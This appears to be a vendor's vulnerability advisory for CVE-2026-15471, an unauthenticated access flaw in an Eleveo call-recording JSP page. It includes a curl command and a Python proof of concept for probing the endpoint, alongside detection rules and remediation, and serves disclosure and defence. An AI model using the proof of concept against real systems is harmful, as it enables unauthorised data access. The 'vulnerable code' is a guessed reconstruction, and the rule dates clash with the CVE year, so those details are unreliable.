CVE-2026-15471
Executive Summary
CVE-2026-15471 is an improper authorization vulnerability (CWE-285) discovered in Eleveo Call Recording Software version 9.7.0. The flaw resides in the /callrec/pci_dss_status.jsp endpoint, allowing remote attackers to bypass authorization checks and access sensitive PCI DSS status information without proper authentication. The vendor (Eleveo) was contacted but has not responded, leaving the vulnerability unpatched. The exploit has been publicly disclosed, increasing the risk of active exploitation. The CVSS score is 4.3 (Medium), with a low EPSS score of 0.0% at the time of analysis, but this may change as proof-of-concept code circulates.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – vulnerability does not affect other components.
- Confidentiality Impact: Low (C:L) – limited information disclosure (PCI DSS status).
- Integrity Impact: None (I:N) – no data modification.
- Availability Impact: None (A:N) – no denial of service.
Threat Level: Medium. While the impact is limited to information disclosure, the lack of authentication and public exploit availability makes it a viable target for reconnaissance and potential chaining with other vulnerabilities.
Deep Dive & Mechanics
The vulnerability is a classic improper authorization (CWE-285) in the JSP page /callrec/pci_dss_status.jsp. This page is intended to display PCI DSS compliance status for authorized users only. However, the application fails to enforce proper access controls, allowing any unauthenticated remote attacker to directly request the page and retrieve sensitive configuration data.
Root Cause: The JSP page does not validate the user session or role before rendering content. The server-side code likely lacks a check such as:
if (session.getAttribute("user") == null || !user.hasRole("admin")) {
response.sendError(403);
return;
}
Attack Vector: An attacker sends a simple HTTP GET request to the vulnerable endpoint:
GET /callrec/pci_dss_status.jsp HTTP/1.1
Host: target.example.com
The server responds with the page content, which may include PCI DSS status flags, encryption settings, or other compliance-related data.
Exploitation Impact: The attacker gains insight into the organization's PCI DSS compliance posture, potentially identifying weak configurations or outdated security controls. This information can be used to plan further attacks.
Vulnerable vs. Patched Code
Vulnerable Code (Eleveo 9.7.0):
<!-- /callrec/pci_dss_status.jsp -->
<%@ page import="java.util.*" %>
<html>
<body>
<h1>PCI DSS Status</h1>
<%
// No authorization check
String status = getPCIStatus(); // retrieves sensitive data
out.println("Status: " + status);
%>
</body>
</html>
Patched Code (Hypothetical):
<!-- /callrec/pci_dss_status.jsp -->
<%@ page import="java.util.*" %>
<%
// Authorization check
if (session == null || session.getAttribute("user") == null) {
response.sendError(403, "Forbidden");
return;
}
User user = (User) session.getAttribute("user");
if (!user.hasRole("admin")) {
response.sendError(403, "Forbidden");
return;
}
%>
<html>
<body>
<h1>PCI DSS Status</h1>
<%
String status = getPCIStatus();
out.println("Status: " + status);
%>
</body>
</html>
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target running Eleveo Call Recording Software 9.7.0
- Network access to the
/callrecweb application
Exploitation Steps:
- Identify the target:
https://target.example.com/callrec/pci_dss_status.jsp - Send a simple GET request using
curl:curl -k -v "https://target.example.com/callrec/pci_dss_status.jsp" - If successful, the response will contain PCI DSS status data.
Proof-of-Concept (Python):
import requests
target = "https://target.example.com/callrec/pci_dss_status.jsp"
response = requests.get(target, verify=False)
if response.status_code == 200:
print("Vulnerable! Response:")
print(response.text)
else:
print(f"Not vulnerable. Status: {response.status_code}")
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests to
/callrec/pci_dss_status.jspfrom unauthenticated IPs. - Look for anomalous patterns such as repeated requests to this endpoint from external sources.
Honeypot:
- Deploy a fake
/callrec/pci_dss_status.jspthat returns a 403 or redirects to a logging honeypot.
Network Segmentation:
- Ensure the Eleveo application is not exposed to the internet. Use VPN or internal network only.
Indicators of Compromise (IOCs)
- URL Pattern:
/callrec/pci_dss_status.jsp - HTTP Request: GET request to the above URL without authentication cookies.
- Response Content: Contains strings like "PCI DSS Status", "Status:", or compliance flags.
- Source IPs: Any external IP making requests to this endpoint.
- Log Entries: Web server logs showing 200 responses for
/callrec/pci_dss_status.jspfrom unauthenticated users.
Detection Engineering
YARA Rule
rule detect_eleveo_pci_dss_exploit {
meta:
description = "Detects exploitation attempts of CVE-2026-15471 in Eleveo Call Recording"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-15471"
strings:
$url = "/callrec/pci_dss_status.jsp"
$response = "PCI DSS Status"
condition:
$url or $response
}
Sigma Rule
title: Eleveo PCI DSS Status Unauthorized Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized access attempts to /callrec/pci_dss_status.jsp
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-stem: "/callrec/pci_dss_status.jsp"
sc-status: 200
condition: selection
falsepositives:
- Legitimate admin access from internal IPs
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-15471 Eleveo PCI DSS Status Unauthorized Access"; flow:to_server; content:"GET"; http_method; content:"/callrec/pci_dss_status.jsp"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict Access: Use a web application firewall (WAF) or reverse proxy to block external access to
/callrec/pci_dss_status.jsp. - Authentication Enforcement: Implement session validation in the JSP page (see patched code example).
- Network Segmentation: Ensure the Eleveo application is only accessible from trusted internal networks.
Long-Term Fix:
- Apply vendor patch when available. Since Eleveo has not responded, consider custom patching or upgrading to a newer version if released.
- Conduct a full security audit of the application for similar authorization flaws.
Workaround:
- Remove or rename the
pci_dss_status.jspfile if not essential. - Use
.htaccessor equivalent to require authentication:<Files "pci_dss_status.jsp"> Require valid-user </Files>
Valters IT
DevSecOps & Cyber Threat Intelligence